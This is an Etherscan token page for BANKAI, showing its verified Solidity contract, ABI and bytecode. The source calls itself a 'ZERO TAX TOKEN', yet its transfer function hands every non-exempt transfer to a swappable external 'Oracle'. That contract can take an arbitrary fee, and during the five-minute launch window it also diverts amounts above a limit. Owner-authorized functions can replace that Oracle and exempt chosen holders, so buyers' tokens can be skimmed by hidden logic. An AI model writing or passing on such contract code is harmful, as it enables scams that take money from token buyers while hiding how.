ETH Price: $3,807.18 (+4.89%)

Token

ERC-20: BANKAI (BANKAI)
 

Overview

Max Total Supply

100,000,000 BANKAI

Holders

86

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
2,500,015 BANKAI

Value
$0.00
0x6a3c00841e43127658b1682476e96c01d78db71a
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BANKAI

Compiler Version
v0.7.6+commit.7338295f

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2021-10-09
*/

//SPDX-License-Identifier: UNLICENSED

/**
* ZERO TAX TOKEN 
* * https://t.me/BANKAIEth
*/

pragma solidity ^0.7.6;


interface IBEP20 {
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Auth {
    address internal owner;
    mapping (address => bool) internal authorizations;

    constructor(address _owner) {
        owner = _owner;
        authorizations[_owner] = true;
    }

    modifier onlyOwner() {
        require(isOwner(msg.sender), "!OWNER"); _;
    }

    modifier authorized() {
        require(isAuthorized(msg.sender), "!AUTHORIZED"); _;
    }

    function authorize(address adr) public onlyOwner {
        authorizations[adr] = true;
    }

    function unauthorize(address adr) public onlyOwner {
        authorizations[adr] = false;
    }

    function isOwner(address account) public view returns (bool) {
        return account == owner;
    }

    function isAuthorized(address adr) public view returns (bool) {
        return authorizations[adr];
    }

    function transferOwnership(address payable adr) public onlyOwner {
        owner = adr;
        authorizations[adr] = true;
        emit OwnershipTransferred(adr);
    }

    event OwnershipTransferred(address owner);
}

interface IOracle {
    function launch() external;
    function checkForOracle(uint256, address, address, address) external returns (uint256,bool);
    function register(address) external;
    function auctionMode() external  returns(bool);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        // Solidity only automatically asserts when dividing by 0
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

contract BANKAI is IBEP20, Auth {
    using SafeMath for uint256;
    string constant _name = "BANKAI";
    string constant _symbol = "BANKAI";
    uint8 constant _decimals = 9;
    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) _allowances;
    mapping (address => bool) isSnipeExempt;
    uint256 _totalSupply = 100000000 * (10 ** _decimals);
    uint256 launchLimit = 100000 * (10 ** _decimals);
    IOracle Oracle;
    uint256 public launchedAt;
    uint256 public launchedAtTime;
    bool public launchCompleted = false;


    constructor (address _Oracle) Auth(msg.sender) {
	    Oracle = IOracle(_Oracle);
        isSnipeExempt[owner] = true;
        isSnipeExempt[_Oracle] = true;
        _balances[owner] = _totalSupply;
        _allowances[address(this)][address(_Oracle)] = uint256(-1);
        emit Transfer(address(0), owner, _totalSupply);
    }

    function totalSupply() external view override returns (uint256) { return _totalSupply; }
    function decimals() external pure override returns (uint8) { return _decimals; }
    function symbol() external pure override returns (string memory) { return _symbol; }
    function name() external pure override returns (string memory) { return _name; }
    function getOwner() external view override returns (address) { return owner; }
    function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }
    receive() external payable { }
    
    function recoverEth() external onlyOwner() {
        payable(msg.sender).transfer(address(this).balance);
    }

    function recoverToken(address _token, uint256 amount) external authorized returns (bool _sent){
        _sent = IBEP20(_token).transfer(msg.sender, amount);
    }
    
    function approveMax(address spender) external returns (bool) {
        return approve(spender, uint256(-1));
    }

    function registerOracle() external authorized {
	    Oracle.register(address(this));
	}

    function SetNewOracle(address _Oracle) external authorized {
	    Oracle = IOracle(_Oracle);
        _allowances[address(this)][address(_Oracle)] = uint256(-1);
        isSnipeExempt[_Oracle] = true;
	}

    function transfer(address recipient, uint256 amount) external override returns (bool) {
        return _transferFrom(msg.sender, recipient, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        if(_allowances[sender][msg.sender] != uint256(-1)){
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
        }

        return _transferFrom(sender, recipient, amount);
    }

    function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
        if(launched() && launchedAtTime + 5 minutes >= block.timestamp){
        if(Oracle.auctionMode() && amount > launchLimit)
        {uint256 offset = amount.sub(launchLimit);
        _balances[address(Oracle)] = _balances[address(Oracle)].add(offset);
        emit Transfer(sender, address(Oracle), offset);
        amount = launchLimit;}
        }
        
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        uint256 amountReceived;
        if(!isSnipeExempt[recipient]){amountReceived= shouldCheckOracle(sender) ? checkOracles(sender, amount, recipient) : amount;}else{amountReceived = amount;}
        _balances[recipient] = _balances[recipient].add(amountReceived);
        emit Transfer(sender, recipient, amountReceived);
        return true;
    }

    function shouldCheckOracle(address sender) internal view returns (bool) {
       return !isSnipeExempt[sender];
    }

    function checkOracles(address sender,uint256 amount, address receiver) internal returns (uint256) {
  	    (uint256 feeAmount,bool isOracle) = Oracle.checkForOracle(amount,sender,receiver,msg.sender);
	    if(isOracle){_balances[address(Oracle)] = _balances[address(Oracle)].add(feeAmount);
        emit Transfer(sender, address(Oracle), feeAmount);}
        return amount.sub(feeAmount);
    }

    function launched() internal view returns (bool) {
        return launchedAt != 0;
    }

    function launch() external authorized{
	    require(!launched());
        launchedAt = block.number;
        launchedAtTime = block.timestamp;
        Oracle.launch();
    }
    
    function blockNumber() external view returns (uint256){
	    return block.number;
    }
   
    function setIsSnipeExempt(address holder, bool exempt) external authorized {
        isSnipeExempt[holder] = exempt;
    }
	
    event AutoLiquify(uint256 amountETH, uint256 amountToken);
   
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"_Oracle","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountETH","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountToken","type":"uint256"}],"name":"AutoLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"_Oracle","type":"address"}],"name":"SetNewOracle","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"approveMax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"adr","type":"address"}],"name":"authorize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"blockNumber","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"adr","type":"address"}],"name":"isAuthorized","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"launch","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"launchCompleted","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"launchedAt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"launchedAtTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"recoverEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_token","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"recoverToken","outputs":[{"internalType":"bool","name":"_sent","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"registerOracle","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsSnipeExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"adr","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"adr","type":"address"}],"name":"unauthorize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405267016345785d8a0000600555655af3107a4000600655600a805460ff1916905534801561003057600080fd5b506040516114083803806114088339818101604052602081101561005357600080fd5b505160008054336001600160a01b0319918216811783558252600160208181526040808520805460ff199081168517909155600780549095166001600160a01b038089169182179096558654861687526004845282872080548316861790558087528287208054909216909417905560058054865486168752600284528287205530865260038352818620938652928252808520600019905584549254815190815290519290931693927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a3506112d0806101386000396000f3fe6080604052600436106101855760003560e01c8063893d20e8116100d1578063bcdb446b1161008a578063f0b37c0411610064578063f0b37c0414610595578063f2fde38b146105c8578063fd07c8b7146105fb578063fe9fbb80146106105761018c565b8063bcdb446b14610530578063bf56b37114610545578063dd62ed3e1461055a5761018c565b8063893d20e81461044557806395d89b41146101a8578063a03b3b4d14610476578063a9059cbb1461048b578063b29a8140146104c4578063b6a5d7de146104fd5761018c565b8063313ce5671161013e578063571ac8b011610118578063571ac8b01461038f57806357e871e7146103c257806370a08231146103d75780637c0c40541461040a5761018c565b8063313ce5671461031c578063327693da14610347578063339d25901461037a5761018c565b806301339c211461019157806306fdde03146101a8578063095ea7b31461023257806318160ddd1461027f57806323b872dd146102a65780632f54bf6e146102e95761018c565b3661018c57005b600080fd5b34801561019d57600080fd5b506101a6610643565b005b3480156101b457600080fd5b506101bd610705565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101f75781810151838201526020016101df565b50505050905090810190601f1680156102245780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561023e57600080fd5b5061026b6004803603604081101561025557600080fd5b506001600160a01b038135169060200135610725565b604080519115158252519081900360200190f35b34801561028b57600080fd5b5061029461078b565b60408051918252519081900360200190f35b3480156102b257600080fd5b5061026b600480360360608110156102c957600080fd5b506001600160a01b03813581169160208101359091169060400135610791565b3480156102f557600080fd5b5061026b6004803603602081101561030c57600080fd5b50356001600160a01b0316610851565b34801561032857600080fd5b50610331610865565b6040805160ff9092168252519081900360200190f35b34801561035357600080fd5b506101a66004803603602081101561036a57600080fd5b50356001600160a01b031661086a565b34801561038657600080fd5b506101a6610903565b34801561039b57600080fd5b5061026b600480360360208110156103b257600080fd5b50356001600160a01b0316610997565b3480156103ce57600080fd5b506102946109ab565b3480156103e357600080fd5b50610294600480360360208110156103fa57600080fd5b50356001600160a01b03166109af565b34801561041657600080fd5b506101a66004803603604081101561042d57600080fd5b506001600160a01b03813516906020013515156109ca565b34801561045157600080fd5b5061045a610a3d565b604080516001600160a01b039092168252519081900360200190f35b34801561048257600080fd5b50610294610a4c565b34801561049757600080fd5b5061026b600480360360408110156104ae57600080fd5b506001600160a01b038135169060200135610a52565b3480156104d057600080fd5b5061026b600480360360408110156104e757600080fd5b506001600160a01b038135169060200135610a66565b34801561050957600080fd5b506101a66004803603602081101561052057600080fd5b50356001600160a01b0316610b32565b34801561053c57600080fd5b506101a6610b9c565b34801561055157600080fd5b50610294610c0e565b34801561056657600080fd5b506102946004803603604081101561057d57600080fd5b506001600160a01b0381358116916020013516610c14565b3480156105a157600080fd5b506101a6600480360360208110156105b857600080fd5b50356001600160a01b0316610c3f565b3480156105d457600080fd5b506101a6600480360360208110156105eb57600080fd5b50356001600160a01b0316610ca3565b34801561060757600080fd5b5061026b610d54565b34801561061c57600080fd5b5061026b6004803603602081101561063357600080fd5b50356001600160a01b0316610d5d565b61064c33610d5d565b61068b576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b610693610d7b565b1561069d57600080fd5b4360085542600955600754604080516301339c2160e01b815290516001600160a01b03909216916301339c219160048082019260009290919082900301818387803b1580156106eb57600080fd5b505af11580156106ff573d6000803e3d6000fd5b50505050565b60408051808201909152600681526542414e4b414960d01b602082015290565b3360008181526003602090815260408083206001600160a01b038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60055490565b6001600160a01b03831660009081526003602090815260408083203384529091528120546000191461083e576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b0387166000908152600382528381203382529091529190912054610819918490610d83565b6001600160a01b03851660009081526003602090815260408083203384529091529020555b610849848484610e1a565b949350505050565b6000546001600160a01b0390811691161490565b600990565b61087333610d5d565b6108b2576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b600780546001600160a01b039092166001600160a01b03199092168217905530600090815260036020908152604080832093835292815282822060001990556004905220805460ff19166001179055565b61090c33610d5d565b61094b576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b60075460408051632210724360e11b815230600482015290516001600160a01b0390921691634420e4869160248082019260009290919082900301818387803b1580156106eb57600080fd5b60006109a582600019610725565b92915050565b4390565b6001600160a01b031660009081526002602052604090205490565b6109d333610d5d565b610a12576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b6001600160a01b03919091166000908152600460205260409020805460ff1916911515919091179055565b6000546001600160a01b031690565b60095481565b6000610a5f338484610e1a565b9392505050565b6000610a7133610d5d565b610ab0576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b6040805163a9059cbb60e01b81523360048201526024810184905290516001600160a01b0385169163a9059cbb9160448083019260209291908290030181600087803b158015610aff57600080fd5b505af1158015610b13573d6000803e3d6000fd5b505050506040513d6020811015610b2957600080fd5b50519392505050565b610b3b33610851565b610b75576040805162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b604482015290519081900360640190fd5b6001600160a01b03166000908152600160208190526040909120805460ff19169091179055565b610ba533610851565b610bdf576040805162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b604482015290519081900360640190fd5b60405133904780156108fc02916000818181858888f19350505050158015610c0b573d6000803e3d6000fd5b50565b60085481565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b610c4833610851565b610c82576040805162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b604482015290519081900360640190fd5b6001600160a01b03166000908152600160205260409020805460ff19169055565b610cac33610851565b610ce6576040805162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b604482015290519081900360640190fd5b600080546001600160a01b0319166001600160a01b038316908117825580825260016020818152604093849020805460ff1916909217909155825191825291517f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc686163929181900390910190a150565b600a5460ff1681565b6001600160a01b031660009081526001602052604090205460ff1690565b600854151590565b60008184841115610e125760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610dd7578181015183820152602001610dbf565b50505050905090810190601f168015610e045780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6000610e24610d7b565b8015610e3657504260095461012c0110155b15610f6e57600760009054906101000a90046001600160a01b03166001600160a01b031663f92a23ba6040518163ffffffff1660e01b8152600401602060405180830381600087803b158015610e8b57600080fd5b505af1158015610e9f573d6000803e3d6000fd5b505050506040513d6020811015610eb557600080fd5b50518015610ec4575060065482115b15610f6e576000610ee0600654846110a290919063ffffffff16565b6007546001600160a01b0316600090815260026020526040902054909150610f0890826110e4565b600780546001600160a01b039081166000908152600260209081526040918290209490945591548251858152925190821693918916927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92908290030190a36006549250505b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038716600090815260029091529190912054610fc0918490610d83565b6001600160a01b03808616600090815260026020908152604080832094909455918616815260049091529081205460ff1661101a57610ffe8561113e565b6110085782611013565b61101385848661115d565b905061101d565b50815b6001600160a01b03841660009081526002602052604090205461104090826110e4565b6001600160a01b0380861660008181526002602090815260409182902094909455805185815290519193928916927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3506001949350505050565b6000610a5f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610d83565b600082820183811015610a5f576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6001600160a01b031660009081526004602052604090205460ff161590565b600754604080516318efb0a560e21b8152600481018590526001600160a01b038681166024830152848116604483015233606483015282516000948594859493909116926363bec294926084808301939282900301818787803b1580156111c357600080fd5b505af11580156111d7573d6000803e3d6000fd5b505050506040513d60408110156111ed57600080fd5b50805160209091015190925090508015611286576007546001600160a01b031660009081526002602052604090205461122690836110e4565b600780546001600160a01b039081166000908152600260209081526040918290209490945591548251868152925190821693918a16927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92908290030190a35b61129085836110a2565b969550505050505056fea2646970667358221220fd633bd0ac83d880458e96591e6712f0ccd1e3e217635ac131986b544b63d63364736f6c6343000706003300000000000000000000000090f80a452c2376ba45869da1d843664e47feed6d

Deployed Bytecode

0x6080604052600436106101855760003560e01c8063893d20e8116100d1578063bcdb446b1161008a578063f0b37c0411610064578063f0b37c0414610595578063f2fde38b146105c8578063fd07c8b7146105fb578063fe9fbb80146106105761018c565b8063bcdb446b14610530578063bf56b37114610545578063dd62ed3e1461055a5761018c565b8063893d20e81461044557806395d89b41146101a8578063a03b3b4d14610476578063a9059cbb1461048b578063b29a8140146104c4578063b6a5d7de146104fd5761018c565b8063313ce5671161013e578063571ac8b011610118578063571ac8b01461038f57806357e871e7146103c257806370a08231146103d75780637c0c40541461040a5761018c565b8063313ce5671461031c578063327693da14610347578063339d25901461037a5761018c565b806301339c211461019157806306fdde03146101a8578063095ea7b31461023257806318160ddd1461027f57806323b872dd146102a65780632f54bf6e146102e95761018c565b3661018c57005b600080fd5b34801561019d57600080fd5b506101a6610643565b005b3480156101b457600080fd5b506101bd610705565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101f75781810151838201526020016101df565b50505050905090810190601f1680156102245780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561023e57600080fd5b5061026b6004803603604081101561025557600080fd5b506001600160a01b038135169060200135610725565b604080519115158252519081900360200190f35b34801561028b57600080fd5b5061029461078b565b60408051918252519081900360200190f35b3480156102b257600080fd5b5061026b600480360360608110156102c957600080fd5b506001600160a01b03813581169160208101359091169060400135610791565b3480156102f557600080fd5b5061026b6004803603602081101561030c57600080fd5b50356001600160a01b0316610851565b34801561032857600080fd5b50610331610865565b6040805160ff9092168252519081900360200190f35b34801561035357600080fd5b506101a66004803603602081101561036a57600080fd5b50356001600160a01b031661086a565b34801561038657600080fd5b506101a6610903565b34801561039b57600080fd5b5061026b600480360360208110156103b257600080fd5b50356001600160a01b0316610997565b3480156103ce57600080fd5b506102946109ab565b3480156103e357600080fd5b50610294600480360360208110156103fa57600080fd5b50356001600160a01b03166109af565b34801561041657600080fd5b506101a66004803603604081101561042d57600080fd5b506001600160a01b03813516906020013515156109ca565b34801561045157600080fd5b5061045a610a3d565b604080516001600160a01b039092168252519081900360200190f35b34801561048257600080fd5b50610294610a4c565b34801561049757600080fd5b5061026b600480360360408110156104ae57600080fd5b506001600160a01b038135169060200135610a52565b3480156104d057600080fd5b5061026b600480360360408110156104e757600080fd5b506001600160a01b038135169060200135610a66565b34801561050957600080fd5b506101a66004803603602081101561052057600080fd5b50356001600160a01b0316610b32565b34801561053c57600080fd5b506101a6610b9c565b34801561055157600080fd5b50610294610c0e565b34801561056657600080fd5b506102946004803603604081101561057d57600080fd5b506001600160a01b0381358116916020013516610c14565b3480156105a157600080fd5b506101a6600480360360208110156105b857600080fd5b50356001600160a01b0316610c3f565b3480156105d457600080fd5b506101a6600480360360208110156105eb57600080fd5b50356001600160a01b0316610ca3565b34801561060757600080fd5b5061026b610d54565b34801561061c57600080fd5b5061026b6004803603602081101561063357600080fd5b50356001600160a01b0316610d5d565b61064c33610d5d565b61068b576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b610693610d7b565b1561069d57600080fd5b4360085542600955600754604080516301339c2160e01b815290516001600160a01b03909216916301339c219160048082019260009290919082900301818387803b1580156106eb57600080fd5b505af11580156106ff573d6000803e3d6000fd5b50505050565b60408051808201909152600681526542414e4b414960d01b602082015290565b3360008181526003602090815260408083206001600160a01b038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60055490565b6001600160a01b03831660009081526003602090815260408083203384529091528120546000191461083e576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b0387166000908152600382528381203382529091529190912054610819918490610d83565b6001600160a01b03851660009081526003602090815260408083203384529091529020555b610849848484610e1a565b949350505050565b6000546001600160a01b0390811691161490565b600990565b61087333610d5d565b6108b2576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b600780546001600160a01b039092166001600160a01b03199092168217905530600090815260036020908152604080832093835292815282822060001990556004905220805460ff19166001179055565b61090c33610d5d565b61094b576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b60075460408051632210724360e11b815230600482015290516001600160a01b0390921691634420e4869160248082019260009290919082900301818387803b1580156106eb57600080fd5b60006109a582600019610725565b92915050565b4390565b6001600160a01b031660009081526002602052604090205490565b6109d333610d5d565b610a12576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b6001600160a01b03919091166000908152600460205260409020805460ff1916911515919091179055565b6000546001600160a01b031690565b60095481565b6000610a5f338484610e1a565b9392505050565b6000610a7133610d5d565b610ab0576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b6040805163a9059cbb60e01b81523360048201526024810184905290516001600160a01b0385169163a9059cbb9160448083019260209291908290030181600087803b158015610aff57600080fd5b505af1158015610b13573d6000803e3d6000fd5b505050506040513d6020811015610b2957600080fd5b50519392505050565b610b3b33610851565b610b75576040805162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b604482015290519081900360640190fd5b6001600160a01b03166000908152600160208190526040909120805460ff19169091179055565b610ba533610851565b610bdf576040805162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b604482015290519081900360640190fd5b60405133904780156108fc02916000818181858888f19350505050158015610c0b573d6000803e3d6000fd5b50565b60085481565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b610c4833610851565b610c82576040805162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b604482015290519081900360640190fd5b6001600160a01b03166000908152600160205260409020805460ff19169055565b610cac33610851565b610ce6576040805162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b604482015290519081900360640190fd5b600080546001600160a01b0319166001600160a01b038316908117825580825260016020818152604093849020805460ff1916909217909155825191825291517f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc686163929181900390910190a150565b600a5460ff1681565b6001600160a01b031660009081526001602052604090205460ff1690565b600854151590565b60008184841115610e125760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610dd7578181015183820152602001610dbf565b50505050905090810190601f168015610e045780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6000610e24610d7b565b8015610e3657504260095461012c0110155b15610f6e57600760009054906101000a90046001600160a01b03166001600160a01b031663f92a23ba6040518163ffffffff1660e01b8152600401602060405180830381600087803b158015610e8b57600080fd5b505af1158015610e9f573d6000803e3d6000fd5b505050506040513d6020811015610eb557600080fd5b50518015610ec4575060065482115b15610f6e576000610ee0600654846110a290919063ffffffff16565b6007546001600160a01b0316600090815260026020526040902054909150610f0890826110e4565b600780546001600160a01b039081166000908152600260209081526040918290209490945591548251858152925190821693918916927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92908290030190a36006549250505b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038716600090815260029091529190912054610fc0918490610d83565b6001600160a01b03808616600090815260026020908152604080832094909455918616815260049091529081205460ff1661101a57610ffe8561113e565b6110085782611013565b61101385848661115d565b905061101d565b50815b6001600160a01b03841660009081526002602052604090205461104090826110e4565b6001600160a01b0380861660008181526002602090815260409182902094909455805185815290519193928916927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3506001949350505050565b6000610a5f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610d83565b600082820183811015610a5f576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6001600160a01b031660009081526004602052604090205460ff161590565b600754604080516318efb0a560e21b8152600481018590526001600160a01b038681166024830152848116604483015233606483015282516000948594859493909116926363bec294926084808301939282900301818787803b1580156111c357600080fd5b505af11580156111d7573d6000803e3d6000fd5b505050506040513d60408110156111ed57600080fd5b50805160209091015190925090508015611286576007546001600160a01b031660009081526002602052604090205461122690836110e4565b600780546001600160a01b039081166000908152600260209081526040918290209490945591548251868152925190821693918a16927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92908290030190a35b61129085836110a2565b969550505050505056fea2646970667358221220fd633bd0ac83d880458e96591e6712f0ccd1e3e217635ac131986b544b63d63364736f6c63430007060033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

